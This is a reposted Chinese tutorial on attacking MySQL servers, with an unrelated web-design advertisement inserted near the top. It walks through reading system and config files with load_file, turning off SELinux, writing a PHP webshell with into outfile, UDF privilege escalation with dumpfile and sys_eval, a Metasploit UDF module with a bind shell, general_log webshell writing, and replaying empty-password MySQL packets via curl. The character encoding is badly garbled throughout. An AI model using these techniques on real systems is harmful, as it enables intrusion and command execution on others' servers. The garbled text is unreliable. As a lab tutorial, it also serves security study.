這篇文章主要講解了“MySQL在Linux環(huán)境下如何進(jìn)行文件讀取”,文中的講解內(nèi)容簡(jiǎn)單清晰,易于學(xué)習(xí)與理解,下面請(qǐng)大家跟著小編的思路慢慢深入,一起來(lái)研究和學(xué)習(xí)“mysql在Linux環(huán)境下如何進(jìn)行文件讀取”吧!
10年的永平網(wǎng)站建設(shè)經(jīng)驗(yàn),針對(duì)設(shè)計(jì)、前端、開(kāi)發(fā)、售后、文案、推廣等六對(duì)一服務(wù),響應(yīng)快,48小時(shí)及時(shí)工作處理。成都全網(wǎng)營(yíng)銷的優(yōu)勢(shì)是能夠根據(jù)用戶設(shè)備顯示端的尺寸不同,自動(dòng)調(diào)整永平建站的顯示方式,使網(wǎng)站能夠適用不同顯示終端,在瀏覽器中調(diào)整網(wǎng)站的寬度,無(wú)論在任何一種瀏覽器上瀏覽網(wǎng)站,都能展現(xiàn)優(yōu)雅布局與設(shè)計(jì),從而大程度地提升瀏覽體驗(yàn)。成都創(chuàng)新互聯(lián)從事“永平網(wǎng)站設(shè)計(jì)”,“永平網(wǎng)站推廣”以來(lái),每個(gè)客戶項(xiàng)目都認(rèn)真落實(shí)執(zhí)行。
load_file 在滲透過(guò)程中也就是讀取文件,或者sql盲注的時(shí)候可以通過(guò)DNSlog加快注入速度。
secure_file_priv :
當(dāng) mysql secure_file_priv 配置項(xiàng)為空(空是""而不是NULL,NULL代表不可讀?。?,或者指定的一個(gè)目錄時(shí),即可讀取文件。
mysql命令行查看 secure_file_priv 配置
show variables like "%secure_file_priv%";
讀取服務(wù)配置項(xiàng):
條件:
1. 系統(tǒng)中關(guān)閉了 selinux
2. 知道服務(wù)配置文件路徑
3. secure_file_priv 可讀到 web 目錄
讀取mysql 配置文件
select load_file("/etc/my.cnf");
在Centos中,如果開(kāi)啟了 selinux,是無(wú)法讀取到其他服務(wù)配置文件或者 /etc/passwd 的,需要將 selinux 關(guān)閉才能讀取。
在實(shí)際情況中,也許會(huì)有管理人員為了方便將 selinux 關(guān)閉。所以讀取下其他服務(wù)配置文件是值得一試的。
setenforce 0
條件:
1. 系統(tǒng)中關(guān)閉了 selinux
2. 知道 web絕對(duì)路徑的情況
3. secure_file_priv 可讀到 web 目錄
讀取web源碼,就可以簡(jiǎn)單的進(jìn)行審計(jì),查找突破口啦。
條件:
1. 系統(tǒng)中關(guān)閉了 selinux
2. 知道 web絕對(duì)路徑的情況
3. secure_file_priv 可讀到 web 目錄
load data infile 也是讀取服務(wù)端文件的語(yǔ)句,同樣的也是受 secure_file_priv的限制?;居梅ㄈ缦拢?/p>
第一步,得有一個(gè)數(shù)據(jù)表,里頭的字段能夠存放的進(jìn)我們要讀取的文件:
第二步,使用 load data infile 語(yǔ)句讀取指定文件內(nèi)容,并存入數(shù)據(jù)庫(kù):
假設(shè)登入的用戶權(quán)限較小,我們登入的用戶只需要用 file 、insert 和 select 權(quán)限即可,然后隨便找個(gè)數(shù)據(jù)表也可進(jìn)行讀取。
如果要讀取配置文件,也是一樣的需要 關(guān)閉 selinux 才行。
如果在 windows下,就沒(méi)有這么多限制哦。
當(dāng) secure_file_priv 配置項(xiàng)為空或者指定了一個(gè)目錄時(shí),且該目錄mysql有寫(xiě)入權(quán)限。Mysql可寫(xiě)入文件
注意:outfile 和 dumpfile 在 mysql 3.23.55版本之后,不可以覆蓋文件。只能創(chuàng)建新文件
select "123" into outfile "/tmp/123.txt";
條件:
1.知道web目錄
2. secure_file_priv 可寫(xiě)到 web目錄
以php為例:
select "" into outfile "/var/www/html/test.php";
dumpfile udf提權(quán)
條件:
1. mysql plugin 目錄可寫(xiě)
2. secure_file_priv 可寫(xiě)到 mysql plugin 目錄
由于 Centos 中默認(rèn) plugin 目錄是不可寫(xiě)入的,如果要通過(guò)寫(xiě)入一個(gè) udf文件的話,還需要設(shè)置其可寫(xiě)。但是不得不承認(rèn),現(xiàn)實(shí)中確實(shí)有這樣的管理員,圖方便直接將目錄設(shè)置為777
坑點(diǎn):
(1)udf文件版本一定要和 mysql對(duì)應(yīng)。不知道m(xù)ysql什么版本可以使用如下語(yǔ)句查詢:
select @@version;
(2)不要用 sqlmap 的linux udf文件,會(huì)報(bào)如下錯(cuò)誤:
因?yàn)閟qlmap的udf文件沒(méi)有 ELF 頭:
備注:sqlmap udf 路徑為 /usr/share/sqlmap/data/udf/mysql/linux/
要用 metasploit 的 udf 文件:
備注:metasploit udf 路徑為 /usr/share/metasploit-framework/data/exploits/mysql/
(3)不能錯(cuò)用成 outfile ,這樣子弄出來(lái)的 udf文件無(wú)法使用。估計(jì)是 outfile 進(jìn)來(lái)的不是二進(jìn)制格式,而是普通的ascii碼格式:
outfile 出來(lái)的文件格式(錯(cuò)誤):
dumpfile 出來(lái)的文件格式 (正確):
使用 msf 進(jìn)行 udf 提權(quán),抓包查看其流程。
注意:
默認(rèn) mysql 傳輸過(guò)程使用了 ssl加密,直接抓包看不到內(nèi)容。我們需要將其切換為 不使用 ssl 加密
我們先停止 mysql 服務(wù):
systemctl stop mysqld
給 mysql用戶 /bin/bash權(quán)限:
vim /etc/passwd
然后切換到 mysql 用戶,執(zhí)行命令:
/usr/sbin/mysqld --ssl=0
參數(shù) --ssl=0 表示傳輸不使用 ssl 加密
使用 msf 模塊
exploit/multi/mysql/mysql_udf_payload
坑點(diǎn):
(1)如果msf反應(yīng) no session was created:
說(shuō)明可能沒(méi)有選擇 target 和 payload
需要設(shè)置 target 為 Linux
payload 設(shè)置 linux/x86/shell/bind_tcp 就好了。高級(jí)的 meterpreter可能無(wú)法彈回來(lái)
(2)如果發(fā)現(xiàn)卡死了:
這時(shí)我們需要連入 mysql,執(zhí)行命令:
drop function sys_exec;
這是因?yàn)橹皼](méi)有設(shè) target 和 payload 的原因,但 msf 已經(jīng)創(chuàng)建好函數(shù)了,只是沒(méi)有 payload 將其反彈。我們需要將原函數(shù)刪掉,讓msf 再創(chuàng)建一次才能彈回 shell
抓包分析
我們通過(guò)抓包,發(fā)現(xiàn)其直接寫(xiě)入十六進(jìn)制碼到 udf 文件中:
我們先置空前面 msf 的操作:刪除其上傳的 udf 文件,刪除函數(shù)(drop function語(yǔ)句)。我們自己手工來(lái)一遍:
復(fù)制抓包得到的 十六進(jìn)制碼值,由于由 1w+字符,就不復(fù)制到這里了:
連入mysql,通過(guò) select dumpfile語(yǔ)句,將這一大串 udf文件的 十六進(jìn)制碼輸出到 udf文件中:
注意:由于是十六進(jìn)制碼,所以輸出的時(shí)候不需要加雙引號(hào):
select 一大串十六進(jìn)制碼 into dumpfile "/usr/lib64/mysql/plugin/udf.so";
mysql 成功寫(xiě)入udf文件后,使用語(yǔ)句 :
create function sys_eval returns string soname "udf.so";
即可創(chuàng)建一個(gè)函數(shù),這個(gè)函數(shù)的名字和功能由 .so 文件已經(jīng)設(shè)定好了的
我們使用的這個(gè) udf 文件的 函數(shù)名就叫 sys_eval
直接調(diào)用即可:
select sys_eval("whoami");
條件
1.知道web路徑
本實(shí)驗(yàn)在Centos7 下使用 mysql5.7 ,先不說(shuō)有 selinux 和 目錄權(quán)限問(wèn)題,由于 general_log 寫(xiě)出來(lái)的文件權(quán)限為 640,其他用戶(apache用戶)不可讀。導(dǎo)致php文件無(wú)法執(zhí)行。
所以general log 的實(shí)驗(yàn)采用 windows 系統(tǒng)進(jìn)行。
注意:general log 不受 secure_file_priv 的限制哦
基本環(huán)境:
secure_file_priv 為 NULL,則 load file 和 outfile/dumpfile 皆不可用。
查看 general log狀態(tài):
show variables like "%general%";
一般 general_log 默認(rèn)是關(guān)閉的,不過(guò)這個(gè)配置我們可以手動(dòng)開(kāi)起來(lái)。
設(shè)置日志輸出類型為文件:
有時(shí)候 mysql 默認(rèn)日志輸出類型不是 FILE 而是 TABLE。
如果是TABLE的話,是不會(huì)將日志輸出為文件格式的。
需要將其類型設(shè)置為 FILE
set global log_output="FILE";
設(shè)置輸出文件路徑:
注意:windows 的路徑分隔符為 \,但在 mysql 看來(lái),\ 是轉(zhuǎn)義符,所以我們得使用雙斜杠: \\
set global general_log_file="C:\\phpstudy_pro\\WWW\\1.php";
開(kāi)啟 general log:
set global general_log=on;
由于一開(kāi)啟 general log,此時(shí)在 mysql 上的所有操作都會(huì)被記錄下來(lái)。為了讓輸出的文件雜質(zhì)少一點(diǎn)。我們細(xì)節(jié)一點(diǎn)最后再開(kāi)啟 general log
注意:現(xiàn)在mysql連接方式有三種:
Unix套接字;
內(nèi)存共享/命名管道;
TCP/IP套接字;
Linux或Unix環(huán)境下,輸入 mysql -uroot -p123456 登錄Mysql服務(wù)器的時(shí)候用的就是 Unix套接字 的方式登錄
Windows系統(tǒng)客戶端和Mysql在同一臺(tái)電腦上,可以使用命令管道和共享內(nèi)存的方式
TCP/IP套接字是任何系統(tǒng)下都可以使用的方式,使用方式為:
mysql -h227.0.0.1 -uroot -p123456
由于Mysql有密碼的時(shí)候,是通過(guò)發(fā)送隨機(jī)挑戰(zhàn)碼來(lái)驗(yàn)證的,而沒(méi)有密碼的時(shí)候不需要發(fā)送隨機(jī)挑戰(zhàn)碼。
所以我們攻擊Mysql的時(shí)候Mysql服務(wù)端必須是空密碼才可以攻擊成功。畢竟隨機(jī)的會(huì)變的東西無(wú)法猜測(cè),就構(gòu)造不了payload了
有密碼的情況:(只發(fā)了一個(gè)字節(jié)過(guò)去就卡住了)
而且TCP/IP默認(rèn)采用了SSL,所以我們抓包抓的是密文包
上文也提到,要強(qiáng)制不使用ssl,加個(gè)參數(shù) --ssl=0:
其實(shí)只要客戶端和服務(wù)端任意一方不使用 ssl,整個(gè) tcp傳輸過(guò)程都是不采用 ssl的
客戶端連接:
mysql -h227.0.0.1 -uroot -p123456 --ssl=0
坑點(diǎn):
mysql5.7有了個(gè) validate_password_length 和 validate_password_policy,是設(shè)置密碼復(fù)雜度的,而且就算密碼復(fù)雜度降到最低,還是要驗(yàn)證密碼長(zhǎng)度,但密碼長(zhǎng)度最低只能為4個(gè)字符,所以無(wú)法設(shè)置0字符的密碼。
只能降低mysql版本再做實(shí)驗(yàn)。
這里我做實(shí)驗(yàn)的是kali的mysql,這個(gè)可以設(shè)置空密碼。但是一開(kāi)始kali的mysql有點(diǎn)問(wèn)題。
坑點(diǎn):
kali中使用的是 MariaDB數(shù)據(jù)庫(kù),它缺省使用 Unix_socket。導(dǎo)致我們登錄不需要輸入密碼,直接就登進(jìn)去了,抓包也抓不到 tcp傳輸包。
我們要將 MariaDB數(shù)據(jù)庫(kù) 修改成使用 tcp 方式傳輸。
修改配置插件(直接在 mysql 命令行打):
update mysql.user set plugin='mysql_native_password' where user='root';
刷新權(quán)限后即可:
flush privileges
第一步、mysql創(chuàng)建實(shí)驗(yàn)用戶:
create user 'root'@'%'; grant all privileges on *.* to 'root'@'%';
第二步、開(kāi)個(gè)wireshark,監(jiān)聽(tīng)lo網(wǎng)卡(lo網(wǎng)卡即為本地網(wǎng)卡,只會(huì)有l(wèi)ocalhost的流量)的包
第三步、mysql中輸入命令,并抓包:
第四步、整理數(shù)據(jù)包:
設(shè)置只看客戶端發(fā)送的流量
用hex模式查看
將東西全部復(fù)制出去,只保留中間的十六進(jìn)制值,每個(gè)值前加個(gè) “%”
變成如下的形式
第五步、用curl測(cè)試:
注意,這里需要加上 --output -才能顯示完全。
感謝各位的閱讀,以上就是“mysql在Linux環(huán)境下如何進(jìn)行文件讀取”的內(nèi)容了,經(jīng)過(guò)本文的學(xué)習(xí)后,相信大家對(duì)mysql在Linux環(huán)境下如何進(jìn)行文件讀取這一問(wèn)題有了更深刻的體會(huì),具體使用情況還需要大家實(shí)踐驗(yàn)證。這里是創(chuàng)新互聯(lián),小編將為大家推送更多相關(guān)知識(shí)點(diǎn)的文章,歡迎關(guān)注!